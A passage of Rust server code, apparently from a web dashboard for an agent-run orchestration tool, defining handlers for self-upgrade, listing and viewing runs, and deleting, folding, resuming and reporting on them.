3072 'm' => 60,
3073 'h' => 3600,
3074 'd' => 86400,
3075 _ => return None,
3076 };
3077 total = total.checked_add(amount.checked_mul(scale)?)?;
3078 rest = rest[n + 1..].trim_start();
3079 }
3080 Some(total)
3081}
3082
3083#[derive(Debug, Clone, Serialize)]
3084struct UpgradeRequestFailure {
3085 occurred_at: String,
3086 error: String,
3087 retry_after_secs: Option<u64>,
3088 retry_at: Option<u64>,
3090}
3091
3092impl UpgradeRequestFailure {
3093 fn new(error: String) -> Self {
3094 let retry_after_secs = upgrade_retry_after(&error);
3095 let now = std::time::SystemTime::now()
3096 .duration_since(std::time::UNIX_EPOCH)
3097 .unwrap_or_default()
3098 .as_secs();
3099 Self {
3100 occurred_at: jiff::Timestamp::now().to_string(),
3101 error,
3102 retry_after_secs,
3103 retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3104 }
3105 }
3106}
3107
3108async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3132 let reading = daemon::read_status(&ui.home);
3133 if let Some(other) = Foreign::of(reading.as_ref()) {
3134 return ApiError::conflict(format!(
3135 "the loop belongs to {}, so replacing this binary would leave \
3136 that process running an old one against the same queue. Upgrade \
3137 where it was started.",
3138 other.who()
3139 ))
3140 .into_response();
3141 }
3142
3143 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3148 return ApiError::conflict("another request is already preparing an upgrade")
3149 .into_response();
3150 };
3151 finish_upgrade_request(&ui, upgrade_prepare(&ui).await)
3154}
3155
3156fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3157 match result {
3158 Ok(out) => {
3159 *ui.upgrade_request_error
3160 .lock()
3161 .unwrap_or_else(PoisonError::into_inner) = None;
3162 out.into_response()
3163 }
3164 Err(error) if error.status != StatusCode::CONFLICT => {
3165 let failure = UpgradeRequestFailure::new(error.message);
3166 *ui.upgrade_request_error
3167 .lock()
3168 .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3169 let mut response = (error.status, Json(&failure)).into_response();
3170 if let Some(value) = failure
3171 .retry_after_secs
3172 .and_then(|secs| secs.to_string().parse().ok())
3173 {
3174 response.headers_mut().insert("retry-after", value);
3175 }
3176 response
3177 }
3178 Err(error) => error.into_response(),
3179 }
3180}
3181
3182async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3183 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3184 return Err(ApiError::conflict(
3185 "an upgrade is already in progress (this process started one and it \
3186 has not finished or failed yet)",
3187 ));
3188 }
3189 let recorded = updater::read_progress(&ui.home);
3190 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3191 return Err(ApiError::conflict(format!(
3192 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3193 stays stuck, restart the deck; on start it settles a stale record.",
3194 p.stage.as_str(),
3195 p.from,
3196 p.to.as_deref().unwrap_or("?"),
3197 )));
3198 }
3199
3200 if crate::updater::disabled_by_env() {
3206 return Ok((
3207 StatusCode::OK,
3208 Json(UpgradeView {
3209 from: env!("CARGO_PKG_VERSION").to_owned(),
3210 to: None,
3211 parked: None,
3212 detail: format!(
3213 "Automatic updates are disabled by {}. Nothing was parked \
3214 and nothing restarted.",
3215 crate::updater::NO_AUTOUPDATE_ENV
3216 ),
3217 }),
3218 ));
3219 }
3220
3221 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3226 let from = env!("CARGO_PKG_VERSION").to_owned();
3227 let latest = match crate::updater::Checker::new(&cfg.update) {
3228 Some(checker) => checker.newer_release().await,
3229 None => Ok(None),
3230 };
3231 upgrade_checked(ui, from, latest)
3232}
3233
3234fn upgrade_checked(
3235 ui: &Arc<Ui>,
3236 from: String,
3237 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3238) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3239 let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3240 let Some(latest) = latest else {
3241 return Ok((
3242 StatusCode::OK,
3243 Json(UpgradeView {
3244 from,
3245 to: None,
3246 parked: None,
3247 detail: "Already on the newest release. Nothing was parked \
3248 and nothing restarted."
3249 .to_owned(),
3250 }),
3251 ));
3252 };
3253
3254 let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
3257 let detail = match &parked {
3258 Some(run) => format!(
3263 "Run {} is parking at its next step, which can take as long as \
3264 the step it is on - up to an hour for an implement wave. The \
3265 deck replaces itself once it parks, comes back, and the loop \
3266 carries that run on from where it stopped. Nothing is lost if \
3267 you close this.",
3268 crate::run::short_of(run)
3269 ),
3270 None => "The deck replaces itself and comes back. Nothing was in \
3271 flight to park."
3272 .to_owned(),
3273 };
3274
3275 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3279 progress.parked_run = parked.clone();
3280 updater::write_progress_logged(&ui.home, &progress);
3284
3285 let home = ui.home.clone();
3286 let looping = ui.looping();
3287 ui.upgrade_spawned
3288 .store(true, std::sync::atomic::Ordering::SeqCst);
3289 let spawned = Arc::clone(&ui.upgrade_spawned);
3290 tokio::spawn(async move {
3291 if let Err(e) = upgrade_and_restart(home.clone()).await {
3292 tracing::error!("the upgrade did not complete: {e:#}");
3293 lock_or_recover(&looping).resume_after_handover = false;
3294 let _ = updater::fail_progress(&home, &format!("{e:#}"));
3298 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3301 }
3302 });
3303
3304 Ok((
3305 StatusCode::ACCEPTED,
3306 Json(UpgradeView {
3307 from,
3308 to: Some(latest.tag_name),
3309 parked,
3310 detail,
3311 }),
3312 ))
3313}
3314
3315async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3320 crate::updater::run_self_update(true, false, true).await?;
3323 updater::log_step(&home, "binary replaced - recording the replaced stage");
3324 if let Some(mut progress) = updater::read_progress(&home) {
3325 progress.advance(updater::Stage::Replaced);
3326 updater::write_progress_logged(&home, &progress);
3327 }
3328 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3329 HANDOVER.notify_one();
3330 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3331 Ok(())
3332}
3333
3334#[derive(Debug, Serialize)]
3340struct RunSummary {
3341 id: String,
3342 short: String,
3343 status: String,
3344 done: bool,
3345 instruction: String,
3346 title: String,
3347 repo: String,
3348 repo_name: String,
3349 created_at: String,
3350 updated_at: String,
3351 candidates: usize,
3352 viable: usize,
3353 judges: usize,
3354 winner: Option<char>,
3355 reviews: usize,
3356 quota_losses: usize,
3357 event: Option<String>,
3358 superseded_by: Option<String>,
3363 waiting: bool,
3370 live: crate::run::Liveness,
3374 pr: Option<crate::run::PrRecord>,
3376 unmerged_by_design: bool,
3382 #[serde(default)]
3385 display_status: String,
3386 #[serde(default)]
3389 badge_status: String,
3390 origin_label: String,
3393}
3394
3395impl RunSummary {
3396 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3397 Self {
3398 id: state.id.clone(),
3399 short: state.short().to_owned(),
3400 status: status_word(state.status),
3401 done: state.status.done(),
3402 unmerged_by_design: state.unmerged_by_design(),
3403 display_status: run_display_status(state, waiting, live),
3404 badge_status: run_display_status(state, waiting, live),
3405 instruction: state.instruction.clone(),
3406 title: title_from(&state.instruction, TITLE_MAX),
3407 repo: state.repo.display().to_string(),
3408 repo_name: state
3409 .repo
3410 .file_name()
3411 .map(|n| n.to_string_lossy().into_owned())
3412 .unwrap_or_default(),
3413 created_at: state.created_at.to_string(),
3414 updated_at: state.updated_at.to_string(),
3415 candidates: state.candidates.len(),
3416 viable: state.viable().len(),
3417 judges: state.config.graph.judges,
3418 winner: state.winner().map(|c| c.label),
3419 reviews: state.reviews.len(),
3420 quota_losses: state.quota.len(),
3421 event: state.events.last().map(|e| e.message.clone()),
3422 waiting,
3423 live,
3424 superseded_by: None,
3427 pr: state.pr.clone(),
3428 origin_label: crate::run::origin_label(state.origin.as_ref()),
3429 }
3430 }
3431}
3432
3433fn status_word(status: RunStatus) -> String {
3436 status.as_str().to_owned()
3440}
3441
3442fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3448 if waiting {
3449 return "waiting".to_owned();
3450 }
3451 if state.unmerged_by_design() {
3452 return "unmerged".to_owned();
3453 }
3454 if !state.status.done() && live == crate::run::Liveness::Dead {
3455 if state.parked {
3458 return "parked".to_owned();
3459 }
3460 return "stale".to_owned();
3461 }
3462 status_word(state.status)
3463}
3464
3465fn run_badge_status(
3473 state: &RunState,
3474 display_status: &str,
3475 live: crate::run::Liveness,
3476 superseded: bool,
3477) -> String {
3478 if state.status.done() || live == crate::run::Liveness::Live {
3479 return display_status.to_owned();
3480 }
3481 if superseded {
3482 return "superseded".to_owned();
3483 }
3484 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3488 return "stale".to_owned();
3489 }
3490 display_status.to_owned()
3491}
3492
3493#[derive(Debug, Deserialize)]
3495struct ListQuery {
3496 #[serde(default)]
3497 limit: Option<usize>,
3498 ids: Option<String>,
3500}
3501
3502impl ListQuery {
3503 fn contains(&self, id: &str) -> bool {
3504 self.ids
3505 .as_ref()
3506 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3507 }
3508}
3509
3510async fn runs_list(
3511 State(ui): State<Arc<Ui>>,
3512 Query(q): Query<ListQuery>,
3513) -> ApiResult<Json<Vec<RunSummary>>> {
3514 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3515 blocking(move || {
3516 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3517 let states = run_ids(&ui.runs)
3518 .into_iter()
3519 .filter_map(|id| read_run(&ui.runs, &id).ok())
3524 .take(limit)
3525 .filter(|run| q.contains(&run.id));
3526 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3527 let summaries = summarize(
3528 states,
3529 &open_runs,
3530 &claimed,
3531 &superseded,
3532 |p| probe.borrow_mut().status(p),
3533 |p| probe.borrow_mut().started_at(p),
3534 );
3535 Ok(Json(summaries))
3536 })
3537 .await
3538}
3539
3540fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3545 let open_runs: HashSet<String> = ui
3546 .questions
3547 .list()
3548 .into_iter()
3549 .filter(|q| q.status.open())
3550 .map(|q| q.run)
3551 .collect();
3552 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3553 .into_iter()
3554 .map(|c| c.run)
3555 .collect();
3556 (open_runs, claimed, ui.queue.superseded())
3557}
3558
3559fn summarize<I, S, D>(
3565 states: I,
3566 open_runs: &HashSet<String>,
3567 claimed: &HashSet<String>,
3568 superseded: &HashMap<String, String>,
3569 mut status_q: S,
3570 mut identity_q: D,
3571) -> Vec<RunSummary>
3572where
3573 I: IntoIterator<Item = RunState>,
3574 S: FnMut(u32) -> Option<bool>,
3575 D: FnMut(u32) -> Option<String>,
3576{
3577 states
3578 .into_iter()
3579 .map(|state| {
3580 let waiting = open_runs.contains(&state.id);
3581 let live =
3582 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3583 let mut row = RunSummary::of(&state, waiting, live);
3584 row.superseded_by = state
3585 .pr_taken_over_by
3586 .as_ref()
3587 .or_else(|| superseded.get(&state.id))
3588 .map(String::as_str)
3589 .map(crate::run::short_of)
3590 .map(str::to_owned);
3591 row.badge_status = run_badge_status(
3592 &state,
3593 &row.display_status,
3594 live,
3595 row.superseded_by.is_some(),
3596 );
3597 row
3598 })
3599 .collect()
3600}
3601
3602#[derive(Debug, Serialize)]
3609struct RunDetailView {
3610 stop_reason: Option<String>,
3611 #[serde(flatten)]
3612 state: RunState,
3613 instruction_md: Vec<md::Node>,
3614 #[serde(flatten)]
3618 prose_md: RunProseMd,
3619 live: crate::run::Liveness,
3634 unmerged_by_design: bool,
3639 #[serde(default)]
3641 waiting: bool,
3642 #[serde(default)]
3644 display_status: String,
3645 #[serde(default)]
3647 badge_status: String,
3648 done: bool,
3653 superseded_by: Option<String>,
3661 latest_attempt: Option<LatestAttempt>,
3675 task: Option<TaskRef>,
3678 origin_label: String,
3682 pass_views: Vec<PassView>,
3685}
3686
3687#[derive(Debug, Serialize)]
3689struct TaskRef {
3690 id: String,
3691 short: String,
3692 title: String,
3693 source_label: String,
3695 source_link: Option<SourceLink>,
3697 status: &'static str,
3699 attempts: usize,
3700 max_attempts: usize,
3701 is_latest: bool,
3703 latest: Option<RunBrief>,
3705 finished_by: Option<RunBrief>,
3707 closed_by_hand: bool,
3709}
3710
3711#[derive(Debug, PartialEq, Eq, Serialize)]
3713struct SourceLink {
3714 kind: &'static str,
3716 id: String,
3718 href: String,
3720}
3721
3722fn encode_segment(raw: &str) -> String {
3724 let mut out = String::with_capacity(raw.len());
3725 for b in raw.bytes() {
3726 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3727 out.push(b as char);
3728 } else {
3729 out.push_str(&format!("%{b:02X}"));
3730 }
3731 }
3732 out
3733}
3734
3735fn source_link(source: &Source) -> Option<SourceLink> {
3739 let Source::Agent { run, node } = source else {
3740 return None;
3741 };
3742 let (kind, route) = if node == crate::queue::CHAT_NODE {
3743 ("chat", "chat")
3744 } else {
3745 ("run", "runs")
3746 };
3747 Some(SourceLink {
3748 kind,
3749 id: run.clone(),
3750 href: id_links::page_href(route, run),
3751 })
3752}
3753
3754#[derive(Debug, Serialize, PartialEq)]
3756struct FollowUpParent {
3757 id: String,
3758 short: String,
3759 title: String,
3760 status: &'static str,
3762 href: String,
3763}
3764
3765#[derive(Debug, Serialize, PartialEq)]
3767struct FollowUpRun {
3768 id: String,
3769 short: String,
3770 status: Option<&'static str>,
3772 href: Option<String>,
3774}
3775
3776#[derive(Debug, Serialize, PartialEq)]
3779struct FollowUpOrigin {
3780 parent: Option<FollowUpParent>,
3782 run: FollowUpRun,
3783 pr: String,
3788 findings: Vec<String>,
3789 generation: u32,
3790}
3791
3792fn followup_origin(
3795 fu: &crate::queue::FollowUp,
3796 task: impl Fn(&str) -> Option<Task>,
3797 run: impl Fn(&str) -> Option<RunState>,
3798) -> FollowUpOrigin {
3799 let parent = fu
3800 .origin_task
3801 .as_deref()
3802 .and_then(task)
3803 .map(|t| FollowUpParent {
3804 short: t.short().to_owned(),
3805 href: format!("#/tasks/{}", encode_segment(&t.id)),
3806 status: t.status.as_str(),
3807 title: t.title,
3808 id: t.id,
3809 });
3810 let state = run(&fu.run);
3811 FollowUpOrigin {
3812 parent,
3813 run: FollowUpRun {
3814 short: run::short_of(&fu.run).to_owned(),
3815 status: state.as_ref().map(|s| s.status.as_str()),
3816 href: state
3817 .is_some()
3818 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3819 id: fu.run.clone(),
3820 },
3821 pr: fu.pr.clone(),
3822 findings: fu.findings.clone(),
3823 generation: fu.generation,
3824 }
3825}
3826
3827#[derive(Debug, Serialize)]
3829struct RunBrief {
3830 id: String,
3831 short: String,
3832 status: Option<&'static str>,
3834 outcome: String,
3836 badge: Option<String>,
3838}
3839
3840fn task_outcome(
3843 task: &Task,
3844 this_run: &str,
3845 max_attempts: usize,
3846 read: impl Fn(&str) -> Option<RunState>,
3847) -> TaskRef {
3848 let max_attempts = task.effective_attempt_limit(max_attempts);
3849 let history = task_history(task, read);
3850 let brief = |h: &TaskRunView| RunBrief {
3851 id: h.id.clone(),
3852 short: h.short.clone(),
3853 status: h.status,
3854 outcome: h.exit.edge_label(h.status),
3855 badge: h.badge.clone(),
3856 };
3857 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3858 let latest = if is_latest {
3859 None
3860 } else {
3861 history.last().map(brief)
3862 };
3863 let done = task.status == TaskStatus::Done;
3864 let finished_by = done
3865 .then(|| {
3866 history
3867 .iter()
3868 .rev()
3869 .find(|h| {
3870 matches!(
3871 h.exit,
3872 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3873 )
3874 })
3875 .map(brief)
3876 })
3877 .flatten();
3878 TaskRef {
3879 short: task.short().to_owned(),
3880 title: task.title.clone(),
3881 id: task.id.clone(),
3882 source_label: task.source.label(),
3883 source_link: source_link(&task.source),
3884 status: task.status.as_str(),
3885 attempts: task.attempts,
3886 max_attempts,
3887 is_latest,
3888 latest,
3889 closed_by_hand: done && finished_by.is_none(),
3890 finished_by,
3891 }
3892}
3893
3894#[derive(Debug, Serialize)]
3896struct LatestAttempt {
3897 id: String,
3898 short: String,
3899 resolved: bool,
3910 status: RunStatus,
3913 done: bool,
3915}
3916
3917#[derive(Debug, Default, Serialize)]
3919struct RunProseMd {
3920 advice_md: Option<AdviceMd>,
3922 candidate_summaries_md: Vec<Vec<md::Node>>,
3924 reviews_md: Vec<RoundMd>,
3926}
3927
3928#[derive(Debug, Default, Serialize)]
3929struct AdviceMd {
3930 synthesis: Vec<md::Node>,
3931 approaches: Vec<Vec<md::Node>>,
3933}
3934
3935#[derive(Debug, Default, Serialize)]
3936struct RoundMd {
3937 reviewers: Vec<ReviewerMd>,
3939 reconsideration: Vec<Vec<md::Node>>,
3941 fix: Option<FixMd>,
3942}
3943
3944#[derive(Debug, Default, Serialize)]
3945struct ReviewerMd {
3946 summary: Vec<md::Node>,
3947 findings: Vec<Vec<md::Node>>,
3949}
3950
3951#[derive(Debug, Default, Serialize)]
3952struct FixMd {
3953 notes: Vec<md::Node>,
3954 rejected: Vec<Vec<md::Node>>,
3956}
3957
3958fn run_prose_md(state: &RunState) -> RunProseMd {
3960 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3961 RunProseMd {
3962 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3963 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3964 approaches: a
3965 .records
3966 .iter()
3967 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3968 .collect(),
3969 }),
3970 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3971 reviews_md: state
3972 .reviews
3973 .iter()
3974 .map(|round| RoundMd {
3975 reviewers: round
3976 .reviews
3977 .iter()
3978 .map(|rec| ReviewerMd {
3979 summary: nodes(&rec.summary),
3980 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3981 })
3982 .collect(),
3983 reconsideration: round
3984 .reconsideration
3985 .iter()
3986 .map(|rv| nodes(&rv.reason))
3987 .collect(),
3988 fix: round.fix.as_ref().map(|fix| FixMd {
3989 notes: nodes(&fix.notes),
3990 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3991 }),
3992 })
3993 .collect(),
3994 }
3995}
3996
3997impl RunDetailView {
3998 fn of(
3999 state: RunState,
4000 waiting: bool,
4001 live: crate::run::Liveness,
4002 superseded_by: Option<String>,
4003 latest_attempt: Option<LatestAttempt>,
4004 task: Option<TaskRef>,
4005 ) -> Self {
4006 let display_status = run_display_status(&state, waiting, live);
4007 let stop_reason = crate::stop_reason::of(
4008 &state,
4009 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4010 );
4011 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4012 Self {
4013 stop_reason,
4014 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4015 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4016 prose_md: run_prose_md(&state),
4017 origin_label: crate::run::origin_label(state.origin.as_ref()),
4018 live,
4019 unmerged_by_design: state.unmerged_by_design(),
4020 waiting,
4021 display_status,
4022 badge_status,
4023 done: state.status.done(),
4024 superseded_by,
4025 latest_attempt,
4026 task,
4027 state,
4028 }
4029 }
4030}
4031
4032async fn run_core(
4034 State(ui): State<Arc<Ui>>,
4035 Path(id): Path<String>,
4036) -> ApiResult<Json<RunDetailView>> {
4037 blocking(move || {
4038 let id = resolve_run(&ui.runs, &id)?;
4039 let state = read_run(&ui.runs, &id)?;
4040 Ok(Json(RunDetailView::of(
4041 state,
4042 false,
4043 crate::run::Liveness::Unknown,
4044 None,
4045 None,
4046 None,
4047 )))
4048 })
4049 .await
4050}
4051
4052async fn run_detail(
4053 State(ui): State<Arc<Ui>>,
4054 Path(id): Path<String>,
4055) -> ApiResult<Json<RunDetailView>> {
4056 blocking(move || {
4057 let id = resolve_run(&ui.runs, &id)?;
4058 let state = read_run(&ui.runs, &id)?;
4059 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4060 let live = state.liveness(daemon_claims);
4061 crate::queue::record_ids(ui.questions.root(), "json")?;
4062 let waiting = ui
4063 .questions
4064 .list()
4065 .iter()
4066 .any(|q| q.run == id && q.status.open());
4067 let max_attempts = daemon::Opts::default().max_attempts;
4068
4069 let matching_task = ui.find_task_for_run(&id)?;
4070
4071 let superseded_by = state
4072 .pr_taken_over_by
4073 .clone()
4074 .or_else(|| {
4075 matching_task
4076 .as_ref()
4077 .and_then(|t| t.successor_of(&id).cloned())
4078 })
4079 .as_deref()
4080 .map(crate::run::short_of)
4081 .map(str::to_owned);
4082
4083 let latest_attempt = matching_task
4087 .as_ref()
4088 .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4089 .and_then(|head_id| {
4090 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4091 short: head.short().to_owned(),
4092 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4093 status: head.status,
4094 done: head.status.done(),
4095 id: head.id,
4096 })
4097 });
4098
4099 let task = matching_task
4100 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4101
4102 Ok(Json(RunDetailView::of(
4103 state,
4104 waiting,
4105 live,
4106 superseded_by,
4107 latest_attempt,
4108 task,
4109 )))
4110 })
4111 .await
4112}
4113
4114async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4123 let (id, unreadable) = {
4124 let ui = Arc::clone(&ui);
4125 blocking(move || {
4126 let id = resolve_run(&ui.runs, &id)?;
4127 match read_run(&ui.runs, &id) {
4128 Ok(state) => {
4129 let in_flight =
4130 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4131 state
4132 .ensure_can_delete(in_flight)
4133 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4134 let dir = ui.runs.join(&id);
4135 std::fs::remove_dir_all(&dir)
4136 .with_context(|| format!("remove run directory {}", dir.display()))?;
4137 Ok((id, false))
4138 }
4139 Err(_) => {
4140 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4144 return Err(ApiError::conflict(format!(
4145 "run {id} is being worked on by a live daemon right now"
4146 )));
4147 }
4148 Ok((id, true))
4149 }
4150 }
4151 })
4152 .await?
4153 };
4154 if unreadable {
4155 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4156 .await
4157 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4158 }
4159 let ui = Arc::clone(&ui);
4160 let done = id.clone();
4161 blocking(move || {
4162 ui.questions.abandon_for_run(
4165 &done,
4166 &format!("run {done} was deleted, so nothing is waiting for this answer"),
4167 )?;
4168 Ok(())
4169 })
4170 .await?;
4171 Ok(StatusCode::NO_CONTENT)
4172}
4173
4174async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4198 let (id, state) = {
4199 let ui = Arc::clone(&ui);
4200 blocking(move || {
4201 let id = resolve_run(&ui.runs, &id)?;
4202 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4203 return Err(ApiError::conflict(format!(
4204 "run {id} is being worked on by a live daemon right now"
4205 )));
4206 }
4207 let state = read_run(&ui.runs, &id).ok();
4208 Ok((id, state))
4209 })
4210 .await?
4211 };
4212 let removed = match state {
4213 Some(mut state) => {
4214 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4215 .await
4216 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4217 if removed.is_empty() {
4222 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4223 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4224 }
4225 removed
4226 }
4227 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4228 .await
4229 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4230 };
4231 Ok(Json(FoldView {
4232 run: id,
4233 removed_count: removed.len(),
4234 removed,
4235 }))
4236}
4237
4238#[derive(Debug, Serialize)]
4240struct FoldView {
4241 run: String,
4242 removed: Vec<String>,
4244 removed_count: usize,
4245}
4246
4247#[derive(Debug, Deserialize)]
4250struct FoldMergedBody {
4251 #[serde(default)]
4252 pr_url: String,
4253}
4254
4255async fn run_fold_merged(
4275 State(ui): State<Arc<Ui>>,
4276 Path(id): Path<String>,
4277 Json(body): Json<FoldMergedBody>,
4278) -> ApiResult<Json<FoldMergedView>> {
4279 let pr_url = body.pr_url.trim().to_owned();
4280 if pr_url.is_empty() {
4281 return Err(ApiError::bad_request("pr_url is required"));
4282 }
4283 let (id, mut state) = {
4284 let ui = Arc::clone(&ui);
4285 blocking(move || {
4286 let id = resolve_run(&ui.runs, &id)?;
4287 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4288 return Err(ApiError::conflict(format!(
4289 "run {id} is being worked on by a live daemon right now"
4290 )));
4291 }
4292 let state = read_run(&ui.runs, &id)?;
4293 Ok((id, state))
4294 })
4295 .await?
4296 };
4297 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4298 .await
4299 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4300 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4301 .await
4302 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4303 Ok(Json(FoldMergedView {
4304 run: id,
4305 before: before.as_str().to_owned(),
4306 after: after.as_str().to_owned(),
4307 removed,
4308 }))
4309}
4310
4311#[derive(Debug, Serialize)]
4313struct FoldMergedView {
4314 run: String,
4315 before: String,
4317 after: String,
4319 removed: Vec<String>,
4321}
4322
4323async fn run_resume(
4343 State(ui): State<Arc<Ui>>,
4344 Path(id): Path<String>,
4345) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4346 let (id, state) = {
4347 let ui = Arc::clone(&ui);
4348 blocking(move || {
4349 let id = resolve_run(&ui.runs, &id)?;
4350 let state = read_run(&ui.runs, &id)?;
4351 Ok((id, state))
4352 })
4353 .await?
4354 };
4355 crate::resume::validate_unqueued(&ui.home, &id)
4356 .map_err(|e| ApiError::conflict(e.to_string()))?;
4357 let _resume = ui.begin_resume(&id)?;
4358
4359 let queued = RunSummary::of(
4362 &state,
4363 !ui.questions.open_for(&id).is_empty(),
4364 state.liveness(false),
4365 );
4366 let run = id.clone();
4367 tokio::spawn(async move {
4368 let _resume = _resume;
4369 crate::resume::execute(&run).await;
4370 });
4371 Ok((StatusCode::ACCEPTED, Json(queued)))
4372}
4373
4374async fn run_report(
4375 State(ui): State<Arc<Ui>>,
4376 Path(id): Path<String>,
4377) -> ApiResult<impl IntoResponse> {
4378 let text = blocking(move || {
4379 let id = resolve_run(&ui.runs, &id)?;
4380 let state = read_run(&ui.runs, &id)?;
4384 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4385 let live = state.liveness(daemon_claims);
4386 Ok(format!(
4387 "{}{}",
4388 report::run(&state),
4389 report::active_seats(&state, live)
4390 ))
4391 })
4392 .await?;
4393 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4394}
4395
4396async fn run_report_json(
4400 State(ui): State<Arc<Ui>>,
4401 Path(id): Path<String>,
4402) -> ApiResult<Json<crate::report_view::RunReportView>> {
4403 let view = blocking(move || {
4404 let id = resolve_run(&ui.runs, &id)?;
4405 let state = read_run(&ui.runs, &id)?;
4406 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4407 let recovered = state.graft.as_ref().map(|_| {
4409 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4410 });
4411 Ok(crate::report_view::build_with(
4412 &state,
4413 state.liveness(daemon_claims),
4414 recovered.as_ref(),
4415 ))
4416 })
4417 .await?;
4418 Ok(Json(view))
4419}
4420
4421const GRAFT_DIFF_MAX: usize = 400 * 1024;
4423const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4425
4426async fn run_graft_diff(
4429 State(ui): State<Arc<Ui>>,
4430 Path(id): Path<String>,
4431) -> ApiResult<impl IntoResponse> {
4432 let (repo, pre, post) = blocking(move || {
4433 let id = resolve_run(&ui.runs, &id)?;
4434 let state = read_run(&ui.runs, &id)?;
4435 let g = state
4436 .graft
4437 .as_ref()
4438 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4439 let post = g
4440 .post
4441 .clone()
4442 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4443 Ok((state.repo.clone(), g.pre.clone(), post))
4444 })
4445 .await?;
4446 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4447 if !hex(&pre) || !hex(&post) {
4448 return Err(ApiError::not_found("the recorded commits are not valid"));
4449 }
4450 let out = tokio::time::timeout(
4451 GRAFT_DIFF_TIMEOUT,
4452 crate::git::git_raw(
4453 &repo,
4454 &[
4455 "diff",
4456 "--no-color",
4457 "--no-ext-diff",
4458 "-M",
4459 &pre,
4460 &post,
4461 "--",
4462 ],
4463 ),
4464 )
4465 .await
4466 .map_err(|_| ApiError::not_found("git diff timed out"))?
